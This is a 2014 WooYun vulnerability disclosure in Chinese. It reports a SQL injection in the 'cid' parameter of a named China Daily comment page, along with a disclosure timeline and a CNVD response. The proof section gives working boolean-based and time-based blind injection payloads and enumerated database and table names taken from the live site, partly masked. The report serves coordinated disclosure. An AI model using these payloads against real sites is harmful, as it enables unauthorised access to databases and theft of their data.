漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073318
漏洞标题：中国日报网某分站存在SQL注射漏洞
相关厂商：中国日报网
漏洞作者： 紫霞仙子
提交时间：2014-08-21 14:11
修复时间：2014-10-05 14:12
公开时间：2014-10-05 14:12
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：19
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-21： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经确认，细节仅向厂商公开
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开
简要描述：
还是不同的数据库。
详细说明：
http://comment.chinadaily.com.cn/sp_comments.shtml?cid=3-1-109
漏洞证明：
Place: GET
Parameter: cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=3-1-109' AND 3097=3097 AND 'BJUI'='BJUI
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cid=3-1-109' AND SLEEP(5) AND 'oOMa'='oOMa
---
available databases [35]:
[*] `111`
[*] `language`
[*] bbs
[*] cityl***
[*] comm***t
[*] contrib***
[*] cpc
[*] fileup***d
[*] fo***
[*] gti
[*] information_schema
[*] me***
[*] metrol***
[*] mhda***
[*] mhdasai_2006
[*] my***
[*] n***
[*] olymp***
[*] olym***s_cutd***n
[*] papers***p
[*] pdf
[*] phpeasy***ject
[*] sign
[*] spe***l
[*] sur***
[*] sur***_132
[*] test
[*] vote
[*] webc***
[*] we***en
[*] wench***
[*] wench***_en
[*] wh_ez***
[*] worldi***
[*] zp
Database: worldinfo
[14 tables]
+------------------+
| ameri*** |
| ameri*** |
| americ***t |
| blo*** |
| cdui*** |
| dialogue_mem***s |
| myT***e |
| ping*** |
| qdui*** |
| ti*** |
| wd07_cont*** |
| wd07_v*** |
| webwork_conte*** |
| xztxta*** |
+------------------+
Database: zp
[33 tables]
+--------------------+
| activelogc*** |
| activelogpe***n |
| adi*** |
| adp***e |
| ap***admin |
| arti*** |
| career_corpora***n |
| career_trai***g |
| contr***t |
| corpi*** |
| corploglo*** |
| corps*** |
| eventt***l |
| hrr*** |
| informat*** |
| job*** |
| jo***min |
| mess*** |
| personboo***g |
| personi*** |
| personlet*** |
| personloglo***n |
| personr*** |
| recycl*** |
| res*** |
| rev***t |
| see*** |
| userc*** |
| userpe***n |
| ***dmin |
| zp_colu*** |
| zp_excha*** |
| zp_inter***w |
+--------------------+
修复方案：
~
版权声明：转载请注明来源 紫霞仙子@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-08-26 10:09
厂商回复：
CNVD确认并复现所述漏洞情况，CNVD尝试电话联系网站管理方未联系上，后向其网站公开邮箱通报情况。
最新状态：
暂无